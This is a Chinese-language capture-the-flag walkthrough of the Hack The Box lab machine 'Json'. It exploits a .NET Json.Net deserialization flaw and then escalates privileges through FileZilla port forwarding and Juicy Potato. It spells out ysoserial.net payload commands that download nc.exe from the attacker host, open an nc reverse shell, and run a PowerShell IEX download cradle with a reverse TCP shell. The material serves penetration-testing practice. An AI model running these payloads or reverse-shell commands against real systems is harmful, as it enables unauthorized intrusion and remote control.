Hack The Box——Json

目錄

簡介

信息收集

漏洞發現

漏洞利用

獲取用戶Shell

權限提升

獲取ftp admin權限

溢出提權/內核漏洞提權

DLL注入提權

濫用權限提權

總結


簡介

這是一個非常好的靶機,按照滲透測試一般流程去滲透就可以了,只是需要細心和有耐心。從端口掃描到使用BurpSuite測試提交的數據,然後分析可能的漏洞,驗證漏洞是否確實存在,接着利用漏洞獲取普通權限的Shell,最後提升權限獲取root.txt的內容。每一步都沒有考驗腦洞,是個練習滲透測試的好靶機。

信息收集

使用nmap -A -sC 10.10.10.158掃描目標主機,如圖:

發現開啓21,80,135,139,445等端口,且操作系統基本斷定是Windows Server 2012了,嘗試常見的ftp弱口令,未果,掃描共享的文件夾,如圖:

使用dirbuster掃描web目錄,如圖:

然後查看/js/app.min.js文件,如圖:

使用Python編寫format.py程序提高js文件可讀性:

#!/usr/bin/python3

l = ["\x70\x72\x69\x6E\x63\x69\x70\x61\x6C\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x24\x68\x74\x74\x70", "\x24\x73\x63\x6F\x70\x65", "\x24\x63\x6F\x6F\x6B\x69\x65\x73", "\x4F\x41\x75\x74\x68\x32", "\x67\x65\x74", "\x55\x73\x65\x72\x4E\x61\x6D\x65", "\x4E\x61\x6D\x65", "\x64\x61\x74\x61", "\x72\x65\x6D\x6F\x76\x65", "\x68\x72\x65\x66", "\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "\x6C\x6F\x67\x69\x6E\x2E\x68\x74\x6D\x6C", "\x74\x68\x65\x6E", "\x2F\x61\x70\x69\x2F\x41\x63\x63\x6F\x75\x6E\x74\x2F", "\x63\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x6C\x6F\x67\x69\x6E\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x63\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73", "", "\x65\x72\x72\x6F\x72", "\x69\x6E\x64\x65\x78\x2E\x68\x74\x6D\x6C", "\x6C\x6F\x67\x69\x6E", "\x6D\x65\x73\x73\x61\x67\x65", "\x49\x6E\x76\x61\x6C\x69\x64\x20\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73\x2E", "\x73\x68\x6F\x77", "\x6C\x6F\x67", "\x2F\x61\x70\x69\x2F\x74\x6F\x6B\x65\x6E", "\x70\x6F\x73\x74", "\x6A\x73\x6F\x6E", "\x6E\x67\x43\x6F\x6F\x6B\x69\x65\x73", "\x6D\x6F\x64\x75\x6C\x65"]
js='var _0xd18f = ["\x70\x72\x69\x6E\x63\x69\x70\x61\x6C\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x24\x68\x74\x74\x70", "\x24\x73\x63\x6F\x70\x65", "\x24\x63\x6F\x6F\x6B\x69\x65\x73", "\x4F\x41\x75\x74\x68\x32", "\x67\x65\x74", "\x55\x73\x65\x72\x4E\x61\x6D\x65", "\x4E\x61\x6D\x65", "\x64\x61\x74\x61", "\x72\x65\x6D\x6F\x76\x65", "\x68\x72\x65\x66", "\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "\x6C\x6F\x67\x69\x6E\x2E\x68\x74\x6D\x6C", "\x74\x68\x65\x6E", "\x2F\x61\x70\x69\x2F\x41\x63\x63\x6F\x75\x6E\x74\x2F", "\x63\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x6C\x6F\x67\x69\x6E\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x63\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73", "", "\x65\x72\x72\x6F\x72", "\x69\x6E\x64\x65\x78\x2E\x68\x74\x6D\x6C", "\x6C\x6F\x67\x69\x6E", "\x6D\x65\x73\x73\x61\x67\x65", "\x49\x6E\x76\x61\x6C\x69\x64\x20\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73\x2E", "\x73\x68\x6F\x77", "\x6C\x6F\x67", "\x2F\x61\x70\x69\x2F\x74\x6F\x6B\x65\x6E", "\x70\x6F\x73\x74", "\x6A\x73\x6F\x6E", "\x6E\x67\x43\x6F\x6F\x6B\x69\x65\x73", "\x6D\x6F\x64\x75\x6C\x65"]; angular[_0xd18f[30]](_0xd18f[28], [_0xd18f[29]])[_0xd18f[15]](_0xd18f[16], [_0xd18f[1], _0xd18f[2], _0xd18f[3], function (_0x30f6x1, _0x30f6x2, _0x30f6x3) { _0x30f6x2[_0xd18f[17]] = { UserName: _0xd18f[18], Password: _0xd18f[18] }; _0x30f6x2[_0xd18f[19]] = { message: _0xd18f[18], show: false }; var _0x30f6x4 = _0x30f6x3[_0xd18f[5]](_0xd18f[4]); if (_0x30f6x4) { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[20] }; _0x30f6x2[_0xd18f[21]] = function () { _0x30f6x1[_0xd18f[27]](_0xd18f[26], _0x30f6x2[_0xd18f[17]])[_0xd18f[13]](function (_0x30f6x5) { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[20] }, function (_0x30f6x6) { _0x30f6x2[_0xd18f[19]][_0xd18f[22]] = _0xd18f[23]; _0x30f6x2[_0xd18f[19]][_0xd18f[24]] = true; console[_0xd18f[25]](_0x30f6x6) }) } }])[_0xd18f[15]](_0xd18f[0], [_0xd18f[1], _0xd18f[2], _0xd18f[3], function (_0x30f6x1, _0x30f6x2, _0x30f6x3) { var _0x30f6x4 = _0x30f6x3[_0xd18f[5]](_0xd18f[4]); if (_0x30f6x4) { _0x30f6x1[_0xd18f[5]](_0xd18f[14], { headers: { "\x42\x65\x61\x72\x65\x72": _0x30f6x4 } })[_0xd18f[13]](function (_0x30f6x5) { _0x30f6x2[_0xd18f[6]] = _0x30f6x5[_0xd18f[8]][_0xd18f[7]] }, function (_0x30f6x6) { _0x30f6x3[_0xd18f[9]](_0xd18f[4]); window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[12] }) } else { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[12] } }])'

for i in range(len(l)):
    l[i]="%s" % l[i]
    js=js.replace('_0xd18f['+str(i)+']',l[i])
print(js)

運行程序,並將輸出結果複製到JavaScript格式化工具,格式化之後如下:

var _0xd18f = ["principalController", "$http", "$scope", "$cookies", "OAuth2", "get", "UserName", "Name", 
"data", "remove", "href", "location", "login.html", "then", "/api/Account/", "controller", "loginController", 
"credentials", "", "error", "index.html", "login", "message", "Invalid Credentials.", "show", "log", "/api/token", 
"post", "json", "ngCookies", "module"];
angular[module](json, [ngCookies])[controller](loginController, [$http, $scope, $cookies, function (_0x30f6x1, 
_0x30f6x2, _0x30f6x3) 
{
    _0x30f6x2[credentials] = {
        UserName : , Password : 
    };
    _0x30f6x2[error] = {
        message : , show : false 
    };
    var _0x30f6x4 = _0x30f6x3[get](OAuth2);
    if (_0x30f6x4) {
        window[location][href] = index.html ;
    };
    _0x30f6x2[login] = function () 
    {
        _0x30f6x1[post](/api/token, _0x30f6x2[credentials])[then](function (_0x30f6x5) 
        {
            window[location][href] = index.html ;
        },
        function (_0x30f6x6) 
        {
            _0x30f6x2[error][message] = Invalid Credentials.;
            _0x30f6x2[error][show] = true;
            console[log](_0x30f6x6) 
        }) 
    }
}])[controller](principalController, [$http, $scope, $cookies, function (_0x30f6x1, _0x30f6x2, _0x30f6x3) 
{
    var _0x30f6x4 = _0x30f6x3[get](OAuth2);
    if (_0x30f6x4) 
    {
        _0x30f6x1[get](/api/Account / , {
            headers : {
                "Bearer" : _0x30f6x4 
            }
        })[then](function (_0x30f6x5) 
        {
            _0x30f6x2[UserName] = _0x30f6x5[data][Name] ;
        },
        function (_0x30f6x6) 
        {
            _0x30f6x3[remove](OAuth2);
            window[location][href] = login.html ;
        }) 
    }
    else {
        window[location][href] = login.html ;
    }
}])

然而並沒什麼有價值的發現,僅僅是對HTTP請求做的一些處理,使用瀏覽器訪問80端口,頁面短暫停留後跳轉到登錄頁面,嘗試admin/admin發現成功登錄,如圖:

發現一個搜索框,嘗試搜索發現完全沒有反應,點擊頁面中的按鈕也都不可用,在頁面底部發現一段話,如圖:

搜索Bootstrap 4發現只存在XSS漏洞,利用XSS也無法獲取到Shell,且沒找到相關教程。

漏洞發現

使用Nmap自帶的腳本掃描445端口是否存在已知的嚴重漏洞,如圖:

但是445端口不存在已知漏洞,然後刪除網頁Cookie信息,開啓Burp Suite,重新登錄,攔截數據包,如圖:

發現用戶名和密碼以明文方式通過json格式提交到/api/token,從Hack The Box主機名Json可看出應該是通過json獲取shell。使用Base64 解碼HTTP響應中的OAuth2,如圖:

包含了用戶ID,用戶名,密碼hash值,Name和角色信息,Forward之後又出現一個獲取/api/Account/的請求,然後發送到Repeater模塊Send之後,如圖:

HTTP請求頭中包含剛剛提交到/api/token返回的OAuth2和Bearer參數(數據相同),且Send之後返回的數據爲Base64解碼的結果。然後將HTTP請求發送到Intruder模塊,使用模糊測試字典對參數進行測試,如圖:

Start之後,Status出現大量500,查看HTTP響應,如圖:

顯示發生錯誤,原因是base64格式不正確,然後查看HTTP請求,如圖:

然後嘗試是否存在java反序列化漏洞,使用工具ysoserial .net生成Josn.Net數據(ysoserial.exe -g ObjectDataProvider -f Json.Net -c "curl http://10.10.14.68/nc.exe  -o nc.exe"),檢查生成的數據無誤後添加-o base64選項生成base64編碼的數據,如圖:

然後替換HTTP請求中Bearer參數的值,然後Send,如圖:

返回的json數據和之前模糊測試返回的不同,查看http服務,如圖:

這說明命令沒有執行或者是系統不存在curl.exe又或者被禁用了,然後嘗試使用wget也是同樣的結果,當使用certutil時,如圖:

可見,目標主機存在.NET反序列化漏洞(也可以叫遠程命令執行漏洞),命令成功執行了,且目標主機禁用或不存在curl.exe和wget.exe程序。

漏洞利用

  • 獲取用戶Shell

1、重新執行命令將nc.exe下載到C:\Windows\Temp\下,然後使用ysoserial.exe -g ObjectDataProvider -f Json.Net -c "C:\windows\temp\nc.exe 10.10.14.68 4444 -e cmd.exe" -o base64生成Json數據,在Burp Suite中替換Bearer參數的值,Send之後成功獲取shell,如圖:

2、也可以使用Nishang的powershell腳本獲取shell,將powershell腳本下載到本地web目錄,並賦予讀、寫和執行的權限,使用ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -w hidden -noni -nop -c \"IEX(New-Object Net.WebClient).downloadString('http://10.10.14.68/powershell.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.68 -Port 4444\""  -o base64生成base64編碼的數據,然後直接替換HTTP請求頭中的數據,提交即可,如圖:

權限提升

  • 獲取ftp admin權限

現在要做的就是提升到SYSTEM權限,回想到信息收集的時候開了很多端口,其中21端口運行着FileZilla ftp服務,這裏應該可以提權,然後查看文件夾,尋找FileZilla文件夾,如圖:

在C:\Program Files(x86)下發現FileZilla Server文件夾,然後查看文件夾中的內容,查看FileZilla Server.xml,如圖:

可以發現ftp管理端口在14147監聽,用戶名爲superadmin,密碼的哈希值和鹽值,嘗試破解密碼沒成功。使用netstat -ano查看端口信息,如圖:

發現14147正在監聽,且只允許本地訪問,但是未開啓3389端口(無法粘滯鍵呼出cmd.exe,故無法利用FileZilla+Shift粘滯鍵提權)。但可以讀取的superadmin目錄下的文件(肯定包含root.txt),因此需要將14147端口轉發到本地。將lcx.exe等端口轉發工具上傳到目標主機,然後在本機執行lcx.exe -listen 9999 8888將本地9999端口轉發到8888,然後在目標主機執行lcx.exe -slave 10.10.14.68 9999 127.0.0.1 14147將目標主機14147端口轉發到本地9999端口,如圖:

然後使用FileZilla Server(需要安裝到本地主機)連接本地8888端口,如圖:

連接成功後,如圖:

然後點擊上圖紅框圖標編輯用戶配置,如圖:

修改密碼,然後就可以訪問ftp://10.10.10.158,使用剛剛修改的密碼登錄,然後就可以獲取到root.txt了。但是從CTF角度來講我們成功獲取到了flag,但是從滲透測試角度來講,這纔剛剛開始(沒獲取到NT AUTHORITY\SYSTEM總覺得沒結束)。

  • 溢出提權/內核漏洞提權

使用systeminfo命令查看系統信息,及安裝的補丁信息,如圖:

發現操作系統是確實是Windows Server 2012 R2,且是64位,未安裝任何補丁程序。將結果複製到Windows在線提權EXP輔助網站,如圖:

然而,一一嘗試之後並未能成功提權。 

  • DLL注入提權

使用msfvenom生成反彈shell的serv.dll文件,如圖:

然後使用之前獲取的PowerShell(cmd shell執行powershell腳本不大方便)將serv.dll文件和PowerSploit中的Invoke-DllInjection.ps1上傳到目標服務器,同時在本機開啓888端口的監聽,如圖:

使用get-process命令查看運行的進程及PID,如圖:

很遺憾,權限有點低,無法獲取到具有SYSTEM權限的進程信息。嘗試執行進程注入,如圖:

 未獲取到返回的Shell。

  • 濫用權限提權

查看當前用戶的權限,如圖:

可以看到用戶開啓了SeImpersonatePrivilege,這說明可以使用Juicy Potato進行提權。將JuicyPotato.exe文件上傳到目標主機並重命名爲jp.exe,然後用批處理寫一個反彈shell的腳本命名爲reverse.bat,然後在JuicyPotato項目的CLSID文件夾中尋找和目標主機相匹配的CLSID嘗試提權,如圖:

很幸運,第二個就成功了,然後在本地監聽8888端口的終端成功獲得反彈回的SYSTEM權限的Shell,如圖:

總結

本文記錄了對Hack The Box::Json主機滲透測試的完整流程。總體來說對這個主機的滲透還是比較容易的,只是在提權的時候不能用內核漏洞和DLL注入提權成功,DLL注入提權未成功應該是因爲在命令行下無法查看到SYSTEM權限的進程,如果開啓遠程桌面應該會比較容易吧,滲透測試過程還是比較順利的。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章